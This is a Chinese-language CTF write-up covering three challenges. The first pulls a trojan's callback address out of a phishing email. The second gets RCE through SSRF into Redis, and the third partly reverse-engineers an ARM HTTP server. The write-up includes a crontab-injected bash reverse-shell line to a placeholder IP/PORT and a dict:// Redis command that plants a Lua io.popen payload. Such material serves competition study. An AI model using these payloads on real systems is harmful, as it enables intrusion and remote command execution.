2025软件系统安全赛华南赛区(CCSSSC2025)Writeup - TEAM Volcania
钓鱼邮件 | @Luminoria
Bob收到了一份钓鱼邮件,请找出木马的回连地址和端口。 假如回连地址和端口为123.213.123.123:1234,那么敏感信息为MD5(123.213.123.123:1234),即d9bdd0390849615555d1f75fa854b14f,以Cyberchef的结果为准。
附件是邮件的eml文件,处理一下,删除部分标记,可以得到附件部分的base64编码值,尝试赛博厨师解码,发现PK头
用Python处理,写成文件
1 | import base64 |
binwalk后确定为zip
打开发现有密码,但是邮件里面说了是生日礼物
1 | ------=_NextPart_67318E01_3D423680_45B6667D |
1 | <div class="qmbox"><p style="font-family: -apple-system, BlinkMacSystemFont, "PingFang SC", "Microsoft YaHei", sans-serif; font-size: 10.5pt; color: rgb(46, 48, 51);">今天是你的24岁生日,祝你生日快乐</p><div xmail-signature=""><xm-signature></xm-signature><p></p></div></div> |
发送时间可以看到为Date: Mon, 11 Nov 2024 12:54:24 +0800
,所以结合信息,猜测密码为20001111,得到exe文件
喂给奇安信沙箱,可以直接得到链接的IP地址和端口
222.218.218.218:55555
经过md5计算后为df3101212c55ea8c417ad799cfc6b509
,即为答案
CachedVisitor | @Ron
个人做法(未出)
附件给了docker镜像,经过检查存在SSRF漏洞且容器出网
并且没有禁用file://
协议
参考网上的各种攻击手段,尝试用crontab反弹一个shell出来
1 | set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/IP/PORT 0>&1\n\n" |
发现服务器没反应,访问file:///etc/crontab
发现确实存在进去的任务
但是没有与我的服务器建立连接,查证为crontab没开,算了,交给队友吧
队友做法 | @Ron
部分有用的测试:
容器出网且可读取文件
dict协议可用,可访问redis
分析了一下源代码
1 |
|
flag设置了权限无法直接读取
尝试使用redis写visit.script进行RCE
在本地docker编写lua测试可以输出flag
1 | ##LUA_START##ngx.say(io.popen('/readflag'):read('*all'))##LUA_END## |
直接使用redis将lua写入visit.script
1 | dict://127.0.0.1:6379/set:payload:"##LUA_START##ngx.say(io.popen('/readflag'):read('*all'))##LUA_END##" |
写入之后随意发送一个请求即可执行我们写入的脚本
dart{dc2e4048-dca7-4fa3-9803-8ee9d785af2b}
ez_arm | @Luminoria (未出)
附件给了个压缩包,解压出来内容如下
- ez_arm/
- html/
- index.html
- httpd
- libc.so.6
- start.sh
- html/
我先把start.sh
和index.html
这两个个人感觉没啥用的东西内容放下面
1 |
|
1 | {Hello} |
而题目名称ez_arm,告诉我们是arm架构的产物,然后我先去找队友要了个全架构IDA,反编译后得到循环调用的用于处理http请求的代码(部分函数已经被我改过名字了)
1 | int sub_10B04() |
其中,因为sub_11ACC
有很明显的html返回头特征,所以更名为make_response_header
1 | int __fastcall sub_11ACC(int a1, const char *a2, const char *a3, const char *a4, int a5, time_t a6) |
而sub_119D6
有html部分,所以我更名为了make_response
1 | void __fastcall __noreturn sub_119D6(int a1, const char *a2, const char *a3, const char *a4) |
然后开始分析逻辑部分,直接访问会告诉我们Missing host.
,不难发现是触发了下面的代码
1 | if ( !fgets(v22, 10000, (FILE *)stdin) ) |
C语言的strstr
是用于查找提供的内容在传入的字符串中出现的位置的,而查找的内容很容易发现是host:
而不是Host:
,http请求中的主机名的键是大写的Host
,所以要对此进行修改
通过burpsuite进行修改后,发现返回的内容变成了Missing Content-length.
,所以触发了下面的这部分代码
1 | if ( !fgets(v22, 10000, (FILE *)stdin) ) |
同样这里也挖了个坑,常规的应该是Content-Length
而不是Content-length
(l
的大小写问题),而我用burpsuite修改的时候,它会自动帮我纠正这个大小写问题,于是写了个Python脚本
这里我把其他没有用的东西删掉了,是因为如果把Content-length
放在最下面(如同常规的HTTP请求),会检测不到,所以我猜应该是host
行下面就进行了Content-length
的检测,而且只传入一行
1 | import socket |
最后触发了Bad protocol.
,看了源码发现HTTP协议版本要1.0
1 | if ( strncmp(v18, "HTTP/1.0", 8u) ) // HTTP协议版本1.0 |
所以改了上面的脚本的请求部分
1 | # 构造带有特定大小写的 HTTP POST 请求 |
然后就可以读取到东西了,但是发现返回的头有点异常,并且index.html
的内容也不是{Hello}
,16进制返回为FF467C86CADA22870A
1 | HTTP/1.0 200 Ok |
charset
里面用了一个从没见过的编码方式iso-0001-1
,翻了代码发现还有个iso-0002-1
在sub_11BE2
里面可以看到返回的逻辑
1 | const char *__fastcall sub_11BE2(const char *a1) |
反正就是,如果扩展名为.htm
,就返回charset=iso-0002-1
,否则都返回charset=iso-0001-1
并且,如果尝试访问/../../../../../../flag
,就会返回Illegal filename.
,应该是触发了下面这一坨条件
1 | v32 = strlen(v37); |
源码里有一个特别的路径auth.cgi
(完整源码在上面,这里不重复复制粘贴了)
1 | if ( strcmp(v23, "auth.cgi") ) |
实测如果访问/auth.cgi
,会卡住无返回
此外,还找到一个疑似安全检查函数sub_12050
(被我改名为security_check
)
1 | bool __fastcall sub_12050(const char *a1) |
对于此函数,GPT的解释如下
至此没有其他头绪了,看看后面有没有大佬做出来吧